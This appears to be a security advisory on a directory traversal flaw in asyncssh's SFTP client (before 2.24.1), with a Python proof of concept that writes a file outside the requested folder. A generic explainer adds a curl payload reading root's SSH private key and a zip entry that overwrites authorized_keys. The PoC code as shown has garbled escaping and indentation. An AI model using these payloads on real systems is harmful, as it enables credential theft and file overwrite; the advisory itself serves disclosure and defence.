Directory Traversal Affecting asyncssh package, versions [,2.24.1)

Affected versions of this package are vulnerable to Directory Traversal via SFTPClient._copy() in asyncssh/sftp.py, reached through get(), mget(), and copy() during recursive remote-to-local transfers. The function builds the local destination path for each directory entry using the filename returned by the server's readdir response without validating it for path separators or absolute paths. A malicious or compromised SFTP server can return a directory entry whose filename is an absolute path or contains ../ traversal sequences, causing posixpath.join() to construct a destination path outside the requested local directory and write attacker-controlled content to arbitrary locations writable by the client process.

The following runs a real, unmodified AsyncSSH server and client over a loopback TCP connection. Only SFTPServer.scandir() is overridden, to return one entry with a malicious absolute-path "filename" — everything else (client get(), _copy(), the server's own protocol handling) is exercised as-is.

import asyncio, os, shutil, sys
import asyncssh
from asyncssh.sftp import SFTPServer, SFTPName, SFTPAttrs
from asyncssh.constants import FILEXFER_TYPE_REGULAR, FILEXFER_TYPE_DIRECTORY

WORKDIR = "/tmp/asyncssh_poc"
OUTSIDE_TARGET = f"{WORKDIR}/OUTSIDE_TARGET"
CLIENT_DEST = f"{WORKDIR}/client_dest"
class MaliciousSFTPServer(SFTPServer):
    async def scandir(self, path):
        yield SFTPName(b'.', attrs=SFTPAttrs(type=FILEXFER_TYPE_DIRECTORY))
        yield SFTPName(b'..', attrs=SFTPAttrs(type=FILEXFER_TYPE_DIRECTORY))
        yield SFTPName(b'readme.txt', attrs=SFTPAttrs(
            type=FILEXFER_TYPE_REGULAR, size=5, permissions=0o644))
        yield SFTPName(OUTSIDE_TARGET.encode(), attrs=SFTPAttrs(
            type=FILEXFER_TYPE_REGULAR, size=5, permissions=0o644))
async def open(self, path, pflags, attrs):
    content = b'PWNED' if path.endswith(OUTSIDE_TARGET.encode()) else b'hello'
    return _FakeFile(content)

class _FakeFile:
    def init(self, content):
        self._content, self._pos = content, 0
    def read(self, size=-1):
        size = len(self._content) - self._pos if size < 0 else size
        data = self._content[self._pos:self._pos + size]
        self._pos += len(data)
        return data
    def seek(self, offset, whence=0): self._pos = offset
    def tell(self): return self._pos
    def close(self): pass
class _OpenServer(asyncssh.SSHServer):
    def begin_auth(self, username): return False
    def password_auth_supported(self): return True
    async def validate_password(self, username, password): return True
async def main():
    shutil.rmtree(WORKDIR, ignore_errors=True)
    os.makedirs(CLIENT_DEST, exist_ok=True)
    asyncssh.generate_private_key('ssh-rsa').write_private_key(f"{WORKDIR}/host_key")
server = await asyncssh.listen(
    &#39;localhost&#39;, 0, server_host_keys=[f&quot;{WORKDIR}/host_key&quot;],
    sftp_factory=MaliciousSFTPServer, process_factory=lambda p: None,
    server_factory=_OpenServer)
port = server.sockets[0].getsockname()[1]

async with asyncssh.connect(&#39;localhost&#39;, port, known_hosts=None,
                             username=&#39;u&#39;, client_keys=None) as conn:
    async with conn.start_sftp_client() as sftp:
        await sftp.get(&#39;.&#39;, CLIENT_DEST, recurse=True, sparse=False)

print(&quot;Files in requested destination:&quot;, os.listdir(CLIENT_DEST))
print(&quot;File written outside destination exists:&quot;, os.path.exists(OUTSIDE_TARGET))
if os.path.exists(OUTSIDE_TARGET):
    print(&quot;  contents:&quot;, open(OUTSIDE_TARGET).read())

asyncio.run(main())

Output:

Files in requested destination: ['readme.txt']
File written outside destination exists: True
  contents: PWNED

The malicious server directory entry lands outside CLIENT_DEST, at a path entirely of the server's choosing.

Note: The PoC runs a real AsyncSSH server and client over a loopback TCP connection with only SFTPServer.scandir() overridden to return a malicious absolute-path filename entry.

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

• GitHub Advisory
• GitHub Commit
• GitHub Release